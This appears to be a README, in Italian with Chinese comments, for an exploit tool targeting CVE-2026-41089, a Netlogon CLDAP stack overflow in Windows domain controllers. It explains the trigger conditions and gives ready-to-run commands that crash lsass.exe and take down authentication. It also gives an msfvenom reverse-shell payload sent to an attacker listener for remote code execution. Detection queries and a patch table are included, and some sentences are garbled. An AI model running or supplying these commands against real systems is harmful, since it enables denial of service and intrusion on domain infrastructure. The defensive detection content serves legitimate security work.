
CVE-2026-41089 è una vulnerabilità critica di esecuzione remota di codice nel servizio Windows Netlogon: un singolo pacchetto può far crashare lsass.exe, causando il riavvio del controller di dominio in circa 30-60 secondi. Durante questo periodo, tutta l'autenticazione di dominio per quel DC fallirà.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Vettore di attacco: UDP/389 (CLDAP SearchRequest)
Impatto: esecuzione remota di codice (RCE) / denial of service (DoS)
Versioni interessate: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: aggiornamento cumulativo di maggio 2026
La funzione NetpLogonPutUnicodeString in netlogon.dll presenta una vulnerabilità di stack buffer overflow durante l'elaborazione delle richieste di ricerca CLDAP. La funzione riceve un budget di lunghezza in byte, ma lo interpreta come conteggio WCHAR, determinando una scrittura 2 volte superiore a quella prevista.
L'overflow si verifica nel buffer di stack fisso di 528 byte (264 ushort) della funzione NlGetLocalPingResponse. Il campo User controllabile dall'attaccante, insieme al nome di dominio DNS del server stesso, riempie questo buffer e finisce per sovrascrivere il cookie di sicurezza GS, causando e il crash di .
__report_gsfailurelsass.exeNtVer=0x02 nella CLDAP SearchRequest (obbliga l'uso del vecchio percorso vulnerabile BuildSamLogonResponse)User ≥ ~130 caratteri (limite binario di circa 260 byte UTF-16)Nota:
NtVer=0x16(il valore usato da molti script di rilevamento pubblici) attiva il percorso sicuroBuildSamLogonResponseExe non attiva la vulnerabilità.
| Modalità | Descrizione |
|---|---|
--mode dos | Invia pacchetti CLDAP appositamente costruiti, causando il crash di LSASS e il riavvio del DC (~60 secondi di interruzione dell'autenticazione) |
--mode rce | Tenta l'esecuzione remota di codice (livello di ricerca, richiede shellcode) |
--mode scan | Scansiona le risposte per diversi valori NtVer ed esegue il fingerprinting del DC di destinazione |
--mode auto | Rileva automaticamente e seleziona la migliore strategia di attacco |
Un singolo pacchetto può mandare in crash lsass.exe, causando il riavvio del domain controller in circa 30-60 secondi. Durante questo periodo, tutta l'autenticazione di dominio su quel DC fallirà.
# 基本用法 — 发送 3 个包
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 单包快速攻击
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# 激进模式 — 5 个包并发
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Livello di ricerca — inaffidabile e instabile in ambienti reali.
L'RCE deve affrontare le seguenti sfide:
# 生成 shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# 发送 RCE 链路
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 对目标 DC 进行指纹识别
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Esempio di output previsto (target patchato):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Esempio di output previsto (target non patchato):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Se NtVer=0x02 va in timeout mentre le altre versioni rispondono normalmente, il target è molto probabilmente vulnerabile.
| Parametro | Descrizione | Valore predefinito |
|---|---|---|
-l, --user-len | Lunghezza del campo username (numero di caratteri ASCII) | 180 |
--ntver | Valore NtVer (esadecimale, es. 0x02) | 0x02 |
--count | Numero di pacchetti DoS da inviare | 3 |
--delay | Ritardo tra i pacchetti (secondi) | 0.5 |
-t, --timeout | Timeout del socket (secondi) | 5.0 |
--json | Output dei risultati in formato JSON | — |
--raw | Stampa l'esadecimale del pacchetto grezzo prima dell'invio | — |
--quiet | Sopprime l'output del banner | — |
--shellcode-file | File shellcode personalizzato (x64 grezzo) | — |
--lhost | Indirizzo di ascolto della reverse shell | — |
--lport | Porta di ascolto della reverse shell | 4444 |
# 在 Windows Server(未修补)上创建长域名 DC:
# 1. 提升为域控 (DNS 域名很长的域名,例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启
User > 100 byte e NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Versione di Windows Server | Numero di versione della patch | Note |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
Questo strumento è destinato esclusivamente a valutazioni di sicurezza autorizzate, test di penetrazione, competizioni CTF e ricerca difensiva. L'uso di questo strumento su qualsiasi sistema senza esplicita autorizzazione scritta è illegale. L'utente si assume ogni responsabilità legale.